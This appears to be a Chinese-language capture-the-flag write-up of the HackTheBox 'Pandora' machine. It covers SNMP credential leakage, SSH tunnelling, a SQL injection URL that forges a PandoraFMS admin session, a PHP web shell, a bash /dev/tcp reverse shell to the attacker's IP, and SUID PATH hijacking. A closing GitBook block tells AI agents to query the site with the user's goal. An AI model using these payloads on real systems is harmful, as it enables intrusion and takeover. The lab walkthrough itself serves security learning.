> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# Pandora HackTheBox 复盘

Pandora HackTheBox 简单 Linux 机器复盘，涵盖 SNMP 快速枚举、信息泄露、本地端口转发、SQL 注入 - 管理员会话劫持，并包含实用的枚举、利用

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**技能：**

* SNMP 快速枚举
* 信息泄露
* 本地端口转发
* SQL 注入 - 管理员会话劫持
* PandoraFMS v7.0NG 已认证远程代码执行（CVE-2019-20224]
* 滥用自定义二进制文件 - PATH 劫持（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad5cff58eadbcf40e34cfd83601d4a17687d4656%2Fimage%20(2555).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4eb886a0a28799376fddeb90785a110f13ebb7a9%2Fimage%20(2556).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## TCP：

**使用 Nmap 查找开放的 TCP 端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f83c0ef107566eeb5b76d1c615744e08ee2afbe9%2Fimage%20(2557).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-709ce6aa23116833f09be98fc58993db5f5d2cac%2Fimage%20(2533).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 对 TCP 端口进行版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51c6ff5fc125e993568bb5368b7781cabe3e1754%2Fimage%20(2534).png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 80：

我们使用了 `whatweb` 以识别 Web 服务器使用的技术：

<div align="right" data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40ea984842aa42dc3dbb7ea81728a51a19e558aa%2Fimage%20(2535).png?alt=media" alt=""><figcaption></figcaption></figure></div>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dacad84beb022bec3197ea5025af426899fcedab%2Fimage%20(2536).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed95e83a74cc1740b7dba60b4fa8978058c927f4%2Fimage%20(2537).png?alt=media" alt=""><figcaption></figcaption></figure>

## UDP：

**使用 Nmap 查找开放的 UDP 端口：**

我们还会对 UDP 端口进行扫描，使用 **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

我们发现了 SNMP 端口 161、17185 和 49201

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93938a251514e0bfa90bd6945ece5a984aea0dfa%2Fimage%20(2538).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 对 UDP 端口进行版本扫描：**

使用 Nmap 扫描 UDP 端口版本并将信息提取到“targeted”文件中：

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

通过 SNMP 发现敏感信息，包括一个用户：

* `daniel`
* 密码： `HotelBabylon23`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77d418c17912c5159e18431d47ffea71470cec33%2Fimage%20(2539).png?alt=media" alt=""><figcaption></figcaption></figure>

## 端口 161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**SNMP 枚举**

为了检查暴露的 SNMP 服务，我们使用了以下命令

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* 通过分析 `snmpcontent.txt`，我们发现了敏感信息，包括有效凭据：
  * **用户**: `daniel`
  * **密码**: `HotelBabylon23`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0ab139f6845e8c9f2139bc748afa824eb256f3%2Fimage%20(2540).png?alt=media" alt=""><figcaption></figcaption></figure>

利用获取到的信息，我们与目标机器建立了 SSH 连接：

```bash
ssh daniel@10.10.11.136
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c263efccee97e87ab79b2974c8600477d1652fcb%2Fimage%20(2541).png?alt=media" alt=""><figcaption></figcaption></figure>

## **权限提升**

**初始搜索**

通过探索用户可访问的目录 `daniel`，我们在以下路径中识别出有趣的文件和文件夹： `/var/www/pandora`

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-875b6332926acdb3d6fd37795798f8a6ab9effef%2Fimage%20(2542).png?alt=media" alt=""><figcaption></figcaption></figure></div>

该目录包含 PandoraFMS 网站，似乎无法从外部直接访问。

**端口转发**

为了通过本地机器访问 PandoraFMS 界面，我们配置了一个 SSH 隧道：

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## 利用 Pandora FMS - SQL 注入

### **SQL 注入：管理员会话劫持**

该命令将本地 HTTP 请求重定向到内部 Web 服务器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

检测到的版本： **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

已知漏洞位于 `chart_generator.php` 通过 `session_id` 变量：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

运行 SQL 注入以伪造管理员会话：

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* 该命令返回管理员会话 cookie。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

使用该 cookie 以管理员身份访问仪表盘。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **远程代码执行（RCE）-（CVE-2019-20224]**

导航到 **文件管理器**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

上传恶意 PHP 文件：

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* 文件可通过以下地址访问 `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

运行反向 Shell：

* 本地监听：

```bash
nc -nvlp 443
```

* 在目标服务器上运行命令：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

获得以用户身份的访问权限 `matt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>

**准备终端：**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

可提高在交互式终端中的使用舒适度。

### User.txt 的 Flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da210b47ec8aefea839813f63bcfa2c50cebcf7%2Fimage%20(2554).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 通过 PATH 劫持滥用自定义二进制文件

**搜索具有 SUID 权限的二进制文件**

```bash
find / -perm -4000 2>/dev/null
```

结果：发现了一个有趣的二进制文件：/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b587e5cbaa1faba33c888df8fa1e3049fdf7b37e%2Fimage%20(974).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38fb341fb6f5610f0ea9c049ea2cadfdaf828f0d%2Fimage%20(975).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用……进行二进制分析 `ltrace`**

为了了解该二进制文件如何工作，我们使用了 **`ltrace`** （一种系统调用跟踪工具）来观察该二进制文件发出的系统调用：

```bash
ltrace /usr/bin/pandora_backup
```

这使我们看到该二进制文件正在执行 **KEEP/*****0/*****/\_** 命令，而没有使用可执行文件的绝对路径，这就造成了潜在漏洞。换句话说，如果我们修改我们的 **`PATH`** 以包含一个目录，其中有一个名为 `tar`的恶意可执行文件，那么它将被执行，而不是原始文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f8807c260e25916d00e18b64e0b0de735896a4%2Fimage%20(977).png?alt=media" alt=""><figcaption></figcaption></figure>

**通过 PATH 劫持进行利用**

**创建一个恶意 `tar` 文件：** 我们创建了一个名为 `tar` 位于 `/tmp/` 具有执行权限的目录 **SUID**。该文件包含一条以提升权限打开 bash shell 的命令：

```bash
chmod 4777 /bin/bash
```

**修改 `PATH` 变量：** 为了强制系统使用我们的恶意版本 `tar`，我们修改了 `PATH` 变量以优先使用 `/tmp/` 目录

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1562055c871e2b9a4455b295ce7e5ec78f618f96%2Fimage%20(978).png?alt=media" alt=""><figcaption></figcaption></figure>

**执行存在漏洞的二进制文件：** 在修改了 `PATH`之后，我们执行了 **`pandora_backup`** 二进制文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aeaaddc895ed1a2820f5a59f18f67e77ebb69a0%2Fimage%20(979).png?alt=media" alt=""><figcaption></figcaption></figure>

通过运行我们修改后的 `tar`，打开了一个提权的 Bash shell，使我们获得 `root` 访问权限。

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e377012ecf9fd123f5d90093838c5949aeddcc28%2Fimage%20(980).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1987da8f59c8442ab7707f7fb5c1deccaacd61e1%2Fimage%20(981).png?alt=media" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
